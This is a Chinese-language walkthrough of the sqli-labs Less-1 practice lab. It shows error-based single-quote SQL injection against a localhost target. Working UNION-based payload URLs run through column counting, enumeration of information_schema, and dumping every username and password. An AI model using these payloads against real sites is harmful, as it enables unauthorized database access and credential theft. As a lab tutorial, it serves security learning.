Sqli-labs Less-1

基于错误的SQL注入 Less-1

Less-1 基于错误的单引号注入

Sqli-labs Less-1_第1张图片

1、测试漏洞是否存在

1)id=1时,正常执行

http://127.0.0.1/sqlilabs/Less-1/?id=1

Sqli-labs Less-1_第2张图片

2)id=1'时,报错,说明可能存在SQL注入

http://127.0.0.1/sqlilabs/Less-1/?id=1'

从上述错误当中,我们可以看到提交到SQL语句中的1’在经过 构造后形成 “1” LIMIT 0,1‘,多加了一个’ 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的’ 去掉呢? 

 3)id=1'--+,没有报错,说明可以注释掉SQL语句后面的内容,所以直接就把多余的‘去掉了,--就可以注释掉后边的内容,--+是因为--后边需要一个空格,URL编码后+就是空格了。

 http://127.0.0.1/sqlilabs/Less-1/?id=1‘--+

Sqli-labs Less-1_第3张图片

从原理来分析,为什么会造成注入,这是SQL语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

 我们之所以可以对参数id进行拼接,是因为语句没有对id进行任何的过滤,所以我们当我们提交id=1'--+时,实际的SQL语句是

SELECT * FROM users WHERE id='1'--+ LIMIT 0,1

2、测试列数

1)id=1'order by 4--+,只有在order by 后面的数字是4时,才会引起报错,说明这里是三列数据。

order by n  :猜测执行SQL语句的列数

http://127.0.0.1/sqlilabs/Less-1/?id=1‘order by 4--+

Sqli-labs Less-1_第4张图片

3、查询数据库名

我们利用union联合注入

union 的作用是将两个SQL语句进行联合

union 前后的两个SQL 语句的选择列数要相同才可以

Union all 与union 的区别是增加了去重的功能

http://127.0.0.1/sqlilabs/Less-1/?id=-1'union select 1,2,3--+

Sqli-labs Less-1_第5张图片

当你输入的id在数据库中不存在时(id=-1),即union前半部分的内容为空,就会显示union后面的语句,所以当我们输入id=-1时,就返回了我们自己构造的union的数据。

现在我们利用information_schema查询数据库名

http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

group_concat() 是多条信息一次查询,因为会有很多数据库,若不加group_concat会只显示第一条,而加上了,就会在一行中全部显示。

Sqli-labs Less-1_第6张图片

4、查询表名

用与查询数据库名相同的方法,查询security的表名

http://127.0.0.1/sqlilabs/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- 

Sqli-labs Less-1_第7张图片

5、查询列名

查询uesrs表中的列

http://127.0.0.1/sqlilabs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'-- 

Sqli-labs Less-1_第8张图片

6、查询数据

查看id=2的username和password中的数据,同理可以查看id=3,id=4等等...

http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,username,password from users where id=2-- 

Sqli-labs Less-1_第9张图片

查看所有用户名密码,我们还是用到group_concat()

http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- 

Sqli-labs Less-1_第10张图片

你可能感兴趣的:(Sqli-labs Less-1)